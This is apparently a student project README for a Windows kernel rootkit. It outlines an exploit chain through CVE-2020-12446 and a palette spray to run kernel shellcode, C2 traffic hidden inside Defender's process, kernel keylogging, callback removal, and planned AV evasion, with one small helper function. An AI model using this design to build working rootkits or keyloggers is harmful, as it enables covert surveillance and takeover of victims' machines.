⚠️ This project is incredibly buggy, unstable, and will probably BSoD for you.
An amazingly bad Windows kernel rootkit, built as a final project for the Cyber track in my highschool.
- The rootkit loads itself via
DriverLoader.exe
, which utilizes CVE-2020-12446: an arbitrary physical r/w vulnerability inene.sys
- We first convert the physical r/w to virtual r/w: we spray a bunch of
PALETTE
s and look for them in physical memory. We can then modify pointers within them to acheieve virtual r/w1. - Using the virtual r/w, we can modify an
NtUser*
syscall with matching signature to allocate our kernel shellcode and run it, Morten-Schenk-style. I usedNtUserSetFeatureReportResponse
, which was rarely called on my test machine and had a similar signature toExAllocatePoolWithTag
. - We can then employ a technique similar to reflective dll loading, and load our via kernel shellcode. This method leaves no traces in the registry and is 10 times cooler than doing the alternatuive "virtual r/w to
NT AUTHORITY\SYSTEM
to loading driver viasc.exe
" method.
- We first convert the physical r/w to virtual r/w: we spray a bunch of
- We then inject our
C2
dll to defender's process. Traffic isn't suspicious if it's coming out of the AV, right? - The
C2
dll connects to theincompletepythonHttpServer
, and receives commands from it, such asStartKeylogging
- uses IRP hooking onkbdclass.sys
to record keystrokes.EndKeylogging
- self explantoryInjectLibrary
- injects a dll into a (potentially protected) processRunKmShellcode
- runs km shellcode and returns the result
- Have fun!
The rootkit features several cool features, such as
- Kernel-mode keylogging
- C2 and networking
- Object callbacks removal
- Reflective driver loading
- Really ugly uses of
reinterpret_cast
/*
Checks if a pointer is pointing at a palette, return its index if it is, otherwise return -1
*/
UINT32 GetPaletteIndexFromPointer(const PBYTE Pointer, DWORD Tid) {
if (*reinterpret_cast<const PALETTEENTRY*>(Pointer) != PALETTE_IDENTIFIER) return false;
// assume it's pointing at a palette, let's make some extra checks, to be certain
const auto* palette = reinterpret_cast<const PALETTE64*>(Pointer - FIELD_OFFSET(PALETTE64, apalColors));
if (palette->cEntries == 2 && palette->BaseObject.Tid == Tid) {
return *reinterpret_cast<const UINT32*>(&palette->apalColors[1]);
}
return -1;
}
Case in point
- Convert C2 to HTTPS
- Convert UM dll loading to reflective loading to avoid appearing on
PEB
- Convert KM shellcode running to reflective driver loading
- Add hooks on AV's
FilterCommunicationPort
s for evasion - Add heartbeat functionality
- Finally get to work on weaponizing an SMI handler exploit for an HVCI bypass
- idk, persistence? 😂 Some problems with the current design that need to be fixed:
- The load-library from remote feature is cool, but it literally drops the dll to
%TEMP%
- The kernel-keylogging method employed is easily detected2.
I'll leave the rest for you to find:smile:
💩 Also a non-trivial portion of it was written hastily 2 days before the deadline, so it isn't exactly production-ready.
Ask mark.
The project was built and meant to be used for educational purposes only. Also if you're using someone's extremely buggy and feature-less highschool project in malware something's definitely wrong with you.
Footnotes
-
See the end of https://www.zerodayinitiative.com/blog/2019/12/16/local-privilege-escalation-in-win32ksys-through-indexed-color-palettes ↩
-
And already known by a bunch of AV vendors; see (the awesome post) https://securelist.com/keyloggers-implementing-keyloggers-in-windows-part-two/36358/ ↩